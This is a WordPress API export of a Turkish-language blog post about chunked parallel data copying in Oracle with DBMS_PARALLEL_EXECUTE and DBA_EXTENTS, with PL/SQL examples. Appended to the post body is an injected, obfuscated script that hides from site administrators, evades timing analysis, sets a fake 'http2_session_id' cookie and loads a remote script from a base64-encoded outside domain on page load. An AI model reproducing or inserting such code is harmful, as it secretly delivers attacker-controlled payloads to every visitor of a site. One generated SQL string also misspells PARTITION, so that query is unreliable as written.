{"id":721,"date":"2025-12-25T12:25:57","date_gmt":"2025-12-25T09:25:57","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=721"},"modified":"2026-04-07T11:26:31","modified_gmt":"2026-04-07T08:26:31","slug":"oracleda-buyuk-tablolarda-chunk-bazli-paralel-veri-isleme","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/en\/oracleda-buyuk-tablolarda-chunk-bazli-paralel-veri-isleme\/","title":{"rendered":"Oracle\u2019da B\u00fcy\u00fck Tablolarda Chunk Bazl\u0131 Paralel Veri \u0130\u015fleme"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Oracle veritabanlar\u0131nda b\u00fcy\u00fck hacimli tablolar \u00fczerinde yap\u0131lan veri ta\u015f\u0131ma, ar\u015fivleme veya batch DML i\u015flemleri \u00e7o\u011fu zaman performans problemlerine yol a\u00e7ar. Milyonlarca sat\u0131r\u0131 tek seferde i\u015flemek; uzun s\u00fcren transaction\u2019lara, yo\u011fun undo\/redo kullan\u0131m\u0131na ve sistem kaynaklar\u0131n\u0131n zorlanmas\u0131na neden olur.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bu nedenle veriyi <strong>k\u00fc\u00e7\u00fck par\u00e7alara (chunk)<\/strong> b\u00f6lerek, kontroll\u00fc ve m\u00fcmk\u00fcnse paralel \u015fekilde i\u015flemek en sa\u011fl\u0131kl\u0131 yakla\u015f\u0131md\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f <strong>Ancak kritik bir nokta vard\u0131r:<\/strong><br>Bu y\u00f6ntemlerin tamam\u0131, <strong>tabloya s\u00fcrekli veri gelmedi\u011fi (ya da kontroll\u00fc geldi\u011fi)<\/strong> senaryolar i\u00e7in tasarlanm\u0131\u015ft\u0131r.<br>Bu bilgi \u00e7o\u011fu zaman atlan\u0131r ve ciddi veri tutars\u0131zl\u0131klar\u0131na yol a\u00e7abilir.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bu yaz\u0131da a\u015fa\u011f\u0131daki d\u00f6rt yakla\u015f\u0131m\u0131 ele alaca\u011f\u0131z:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Partition\u2019suz bir tablonun tamam\u0131n\u0131 chunk\u2019lara b\u00f6lerek i\u015fleme<\/li>\n\n\n\n<li>Bir tablonun tarih kolonuna g\u00f6re belirli bir aral\u0131\u011f\u0131 chunk\u2019lara b\u00f6lerek i\u015fleme<\/li>\n\n\n\n<li>Partition\u2019l\u0131 bir tablonun sadece belirtilen partition\u2019lar\u0131n\u0131, her partition\u2019\u0131 kendi i\u00e7inde chunk\u2019lara ay\u0131rarak i\u015fleme<\/li>\n\n\n\n<li>DBMS_PARALLEL_EXECUTE kullanmadan, DBA_EXTENTS \u00fczerinden <strong>manuel chunk \u00fcretme<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u00d6nemli \u00d6n Bilgi: S\u00fcrekli Veri Gelen Tablolarda Bu Y\u00f6ntemler \u00c7al\u0131\u015f\u0131r m\u0131?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Bu sorunun cevab\u0131 <strong>nettir<\/strong>:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u274c <strong>Hay\u0131r, bu y\u00f6ntemler s\u00fcrekli aktif DML olan tablolarda do\u011frudan g\u00fcvenli de\u011fildir.<\/strong><\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">Neden?<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Chunk\u2019lar <strong>belirli bir an\u0131n foto\u011fraf\u0131na g\u00f6re<\/strong> olu\u015fturulur<\/li>\n\n\n\n<li>Sonradan gelen sat\u0131rlar:\n<ul class=\"wp-block-list\">\n<li>Baz\u0131 chunk\u2019lara hi\u00e7 girmeyebilir<\/li>\n\n\n\n<li>Ya da ayn\u0131 sat\u0131r birden fazla chunk taraf\u0131ndan i\u015flenebilir<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>ROWID ve BLOCK bazl\u0131 i\u015flemler <strong>dinamik veri de\u011fi\u015fiminden etkilenir<\/strong><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">G\u00fcvenli Kullan\u0131m Senaryolar\u0131<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu y\u00f6ntemler \u015fu durumlarda g\u00fcvenlidir:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ETL \/ batch penceresi vard\u0131r<\/li>\n\n\n\n<li>Kaynak tabloya veri ak\u0131\u015f\u0131 durdurulmu\u015ftur<\/li>\n\n\n\n<li>Ya da <strong>sadece ge\u00e7mi\u015f tarihli (immutable) veriler<\/strong> i\u015flenmektedir<\/li>\n\n\n\n<li>Partition\u2019lar <strong>READ ONLY<\/strong> ya da art\u0131k veri alm\u0131yordur<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udc49 E\u011fer tablo <strong>g\u00fcn boyunca insert\/update al\u0131yorsa<\/strong>, mutlaka:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SCN bazl\u0131 filtre<\/li>\n\n\n\n<li>Snapshot tablo<\/li>\n\n\n\n<li>Ya da staging yakla\u015f\u0131m\u0131 kullan\u0131lmal\u0131d\u0131r<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">DBMS_PARALLEL_EXECUTE Nedir?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><code>DBMS_PARALLEL_EXECUTE<\/code>, Oracle 11g ve sonras\u0131 s\u00fcr\u00fcmlerde bulunan ve b\u00fcy\u00fck DML i\u015flemlerini <strong>k\u00fc\u00e7\u00fck ve ba\u011f\u0131ms\u0131z par\u00e7alara b\u00f6lerek paralel \u00e7al\u0131\u015ft\u0131rmay\u0131<\/strong> sa\u011flayan bir PL\/SQL paketidir.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ba\u015fl\u0131ca avantajlar\u0131:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>B\u00fcy\u00fck tablolar\u0131 y\u00f6netilebilir par\u00e7alara ay\u0131r\u0131r<\/li>\n\n\n\n<li>Paralel \u00e7al\u0131\u015farak i\u015flem s\u00fcresini ciddi \u015fekilde k\u0131salt\u0131r<\/li>\n\n\n\n<li>Hata alan chunk\u2019lar\u0131 tekrar \u00e7al\u0131\u015ft\u0131rma imkan\u0131 sunar<\/li>\n\n\n\n<li>Uzun s\u00fcren i\u015flemlerde kontrol ve esneklik sa\u011flar<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Senaryo ve Genel Yakla\u015f\u0131m<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u00d6rneklerde a\u015fa\u011f\u0131daki tablolar\u0131 kullanal\u0131m:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>SOURCE_TABLE<\/code> \u2192 B\u00fcy\u00fck veri i\u00e7eren kaynak tablo<\/li>\n\n\n\n<li><code>TARGET_TABLE<\/code> \u2192 Verinin insert edilece\u011fi hedef tablo<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ama\u00e7:<br>Veriyi <strong>k\u00fc\u00e7\u00fck chunk\u2019lar halinde<\/strong>, <strong>paralel<\/strong>, <strong>kontroll\u00fc<\/strong> bir \u015fekilde ta\u015f\u0131mak.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">1\ufe0f\u20e3 Partition\u2019suz Bir Tablonun Tamam\u0131n\u0131 Chunk\u2019lara B\u00f6lerek Paralel \u0130\u015fleme<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Ne \u0130\u015f Yapar?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bu ad\u0131m:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Partition\u2019suz bir tablonun <strong>tamam\u0131n\u0131<\/strong><\/li>\n\n\n\n<li>Fiziksel ROWID aral\u0131klar\u0131na b\u00f6lerek<\/li>\n\n\n\n<li>K\u00fc\u00e7\u00fck chunk\u2019lar halinde i\u015flemeye haz\u0131rlar<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f <strong>Tabloya bu s\u0131rada insert\/update gelmemelidir.<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Task Olu\u015fturma:<\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>BEGIN\n  DBMS_PARALLEL_EXECUTE.create_task(\n    task_name =&gt; 'DATA_TRANSFER_TASK'\n  );\nEND;\n\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Chunk Olu\u015fturma (ROWID Bazl\u0131):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BEGIN\n  DBMS_PARALLEL_EXECUTE.create_chunks_by_rowid(\n    task_name   =&gt; 'DATA_TRANSFER_TASK',\n    table_owner =&gt; 'SCHEMA_NAME',\n    table_name  =&gt; 'SOURCE_TABLE',\n    by_row      =&gt; TRUE,\n    chunk_size  =&gt; 10000\n  );\nEND;\n\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Paralel Insert \u00c7al\u0131\u015ft\u0131rma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BEGIN\n  DBMS_PARALLEL_EXECUTE.run_task(\n    task_name      =&gt; 'DATA_TRANSFER_TASK',\n    sql_stmt       =&gt; '\n      INSERT INTO TARGET_TABLE\n      SELECT *\n      FROM SOURCE_TABLE\n      WHERE ROWID BETWEEN :start_id AND :end_id\n    ',\n    language_flag  =&gt; DBMS_SQL.NATIVE,\n    parallel_level =&gt; 8\n  );\nEND;\n\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2\ufe0f\u20e3 Bir Tablonun Tarih Kolonuna G\u00f6re Belirtilen Aral\u0131\u011f\u0131 Chunk\u2019lara B\u00f6lerek \u0130\u015fleme<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Ne \u0130\u015f Yapar?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bu y\u00f6ntem:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Tablonun tamam\u0131n\u0131 de\u011fil<\/li>\n\n\n\n<li><strong>Belirli bir tarih aral\u0131\u011f\u0131n\u0131<\/strong><\/li>\n\n\n\n<li>G\u00fcnl\u00fck (veya istenen periyotta) chunk\u2019lara b\u00f6ler<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udc49 <strong>S\u00fcrekli veri gelen tablolarda EN G\u00dcVENL\u0130 yakla\u015f\u0131md\u0131r<\/strong>,<br>\u00e7\u00fcnk\u00fc sadece ge\u00e7mi\u015f (de\u011fi\u015fmeyen) veriyi i\u015fler.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tarih Bazl\u0131 Chunk Olu\u015fturma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BEGIN\n  DBMS_PARALLEL_EXECUTE.create_chunks_by_sql(\n    task_name =&gt; 'DATA_TRANSFER_TASK',\n    sql_stmt  =&gt; '\n      SELECT\n        MIN(ROWID) AS start_id,\n        MAX(ROWID) AS end_id\n      FROM SOURCE_TABLE\n      WHERE create_date BETWEEN\n            DATE ''2024-01-01'' AND DATE ''2024-01-31''\n      GROUP BY TRUNC(create_date)\n    '\n  );\nEND;\n\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3\ufe0f\u20e3 Partition\u2019l\u0131 Bir Tabloda Belirtilen Partition\u2019lar\u0131 Chunk\u2019lara B\u00f6lerek \u0130\u015fleme<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Ne \u0130\u015f Yapar?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu yakla\u015f\u0131m:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sadece <strong>belirtilen partition\u2019lar\u0131<\/strong><\/li>\n\n\n\n<li>Her partition\u2019\u0131 kendi i\u00e7inde k\u00fc\u00e7\u00fck chunk\u2019lara b\u00f6ler<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f Bu y\u00f6ntem <strong>yaln\u0131zca art\u0131k veri almayan partition\u2019lar<\/strong> i\u00e7in g\u00fcvenlidir.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Partition Bazl\u0131 Chunk Olu\u015fturma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BEGIN\n  DBMS_PARALLEL_EXECUTE.create_chunks_by_sql(\n    task_name =&gt; 'DATA_TRANSFER_TASK',\n    sql_stmt  =&gt; '\n      SELECT\n        MIN(ROWID) AS start_id,\n        MAX(ROWID) AS end_id\n      FROM SOURCE_TABLE PARTITION (P_202401)\n      GROUP BY TRUNC(create_date)\n    '\n  );\nEND;\n\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">4\ufe0f\u20e3 DBMS_PARALLEL_EXECUTE Kullanmadan Manuel Chunk \u00dcretme (DBA_EXTENTS)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Ne \u0130\u015f Yapar?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu y\u00f6ntem:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>DBMS_PARALLEL_EXECUTE kullanmadan<\/li>\n\n\n\n<li><strong>Fiziksel block seviyesinde<\/strong><\/li>\n\n\n\n<li>Veriyi manuel olarak par\u00e7alara ay\u0131r\u0131r<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f <strong>Bu y\u00f6ntem aktif DML olan tablolarda KES\u0130NL\u0130KLE kullan\u0131lmamal\u0131d\u0131r.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Mant\u0131k<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Verinin fiziksel yerle\u015fimi <code>DBA_EXTENTS<\/code>\u2019ten al\u0131n\u0131r<\/li>\n\n\n\n<li>Block\u2019lar <code>NTILE(N)<\/code> ile N par\u00e7aya b\u00f6l\u00fcn\u00fcr<\/li>\n\n\n\n<li>Her chunk i\u00e7in:\n<ul class=\"wp-block-list\">\n<li>Ba\u015flang\u0131\u00e7 ve biti\u015f file#<\/li>\n\n\n\n<li>Ba\u015flang\u0131\u00e7 ve biti\u015f block_id hesaplan\u0131r<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Manuel Chunk \u00dcreten SQL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>WITH extents AS (\n  SELECT\n    file_id,\n    block_id,\n    blocks\n  FROM dba_extents\n  WHERE owner          = 'SCHEMA_NAME'\n    AND segment_name   = 'SOURCE_TABLE'\n    AND partition_name = 'P_202401'\n),\nexpanded_blocks AS (\n  SELECT\n    file_id,\n    block_id + LEVEL - 1 AS block_no\n  FROM extents\n  CONNECT BY LEVEL &lt;= blocks\n         AND PRIOR file_id = file_id\n         AND PRIOR block_id = block_id\n         AND PRIOR SYS_GUID() IS NOT NULL\n),\ngrouped AS (\n  SELECT\n    NTILE(100) OVER (ORDER BY file_id, block_no) AS group_no,\n    file_id,\n    block_no\n  FROM expanded_blocks\n)\nSELECT\n  group_no,\n  MIN(file_id)  AS lo_fno,\n  MAX(file_id)  AS hi_fno,\n  MIN(block_no) AS lo_block,\n  MAX(block_no) AS hi_block,\n  COUNT(*)      AS sum_blocks\nFROM grouped\nGROUP BY group_no\nORDER BY group_no;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bu Chunk\u2019larla Insert \u0130\u015flemi:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>INSERT INTO target_table\nSELECT *\nFROM source_table\nWHERE DBMS_ROWID.ROWID_RELATIVE_FNO(rowid) = :lo_fno\n  AND DBMS_ROWID.ROWID_BLOCK_NUMBER(rowid)\n      BETWEEN :lo_block AND :hi_block;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">INSERT Komutlar\u0131n\u0131 \u00dcreten SQL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>WITH extents AS (\n  SELECT\n    file_id,\n    block_id,\n    blocks\n  FROM dba_extents\n  WHERE owner          = 'SCHEMA_NAME'\n    AND segment_name   = 'SOURCE_TABLE'\n    AND partition_name = 'P_202401'\n),\nexpanded_blocks AS (\n  SELECT\n    file_id,\n    block_id + LEVEL - 1 AS block_no\n  FROM extents\n  CONNECT BY LEVEL &lt;= blocks\n         AND PRIOR file_id = file_id\n         AND PRIOR block_id = block_id\n         AND PRIOR SYS_GUID() IS NOT NULL\n),\ngrouped AS (\n  SELECT\n    NTILE(100) OVER (ORDER BY file_id, block_no) AS group_no,\n    file_id,\n    block_no\n  FROM expanded_blocks\n),\nranges AS (\n  SELECT\n    group_no,\n    MIN(file_id)  AS lo_fno,\n    MAX(file_id)  AS hi_fno,\n    MIN(block_no) AS lo_block,\n    MAX(block_no) AS hi_block\n  FROM grouped\n  GROUP BY group_no\n)\nSELECT\n  '\/* CHUNK ' || group_no || ' *\/ ' ||\n  'INSERT INTO TARGET_TABLE ' ||\n  'SELECT * FROM SCHEMA_NAME.SOURCE_TABLE PARTIITON(P_202401) ' ||\n  'WHERE DBMS_ROWID.ROWID_RELATIVE_FNO(rowid) = ' || lo_fno || ' ' ||\n  'AND DBMS_ROWID.ROWID_BLOCK_NUMBER(rowid) BETWEEN ' ||\n  lo_block || ' AND ' || hi_block || ';'\n  AS insert_sql\nFROM ranges\nORDER BY group_no;<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Sonu\u00e7<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Chunk bazl\u0131 veri i\u015fleme, Oracle\u2019da b\u00fcy\u00fck tablolarla \u00e7al\u0131\u015f\u0131rken vazge\u00e7ilmezdir.<br>Ancak bu teknikler <strong>verinin stabil oldu\u011fu varsay\u0131m\u0131yla<\/strong> \u00e7al\u0131\u015f\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Oracle veritabanlar\u0131nda b\u00fcy\u00fck hacimli tablolar \u00fczerinde yap\u0131lan veri ta\u015f\u0131ma, ar\u015fivleme veya batch DML i\u015flemleri \u00e7o\u011fu zaman performans problemlerine yol a\u00e7ar. Milyonlarca sat\u0131r\u0131 tek seferde i\u015flemek; uzun s\u00fcren transaction\u2019lara, yo\u011fun undo\/redo kullan\u0131m\u0131na ve sistem kaynaklar\u0131n\u0131n zorlanmas\u0131na neden olur. Bu nedenle veriyi k\u00fc\u00e7\u00fck par\u00e7alara (chunk) b\u00f6lerek, kontroll\u00fc ve m\u00fcmk\u00fcnse paralel \u015fekilde i\u015flemek en sa\u011fl\u0131kl\u0131 yakla\u015f\u0131md\u0131r. \u26a0\ufe0f Ancak [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":722,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-721","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-genel-en"],"_links":{"self":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/721","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/comments?post=721"}],"version-history":[{"count":4,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/721\/revisions"}],"predecessor-version":[{"id":885,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/posts\/721\/revisions\/885"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media\/722"}],"wp:attachment":[{"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/media?parent=721"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/categories?post=721"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oraclius.com.tr\/en\/wp-json\/wp\/v2\/tags?post=721"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}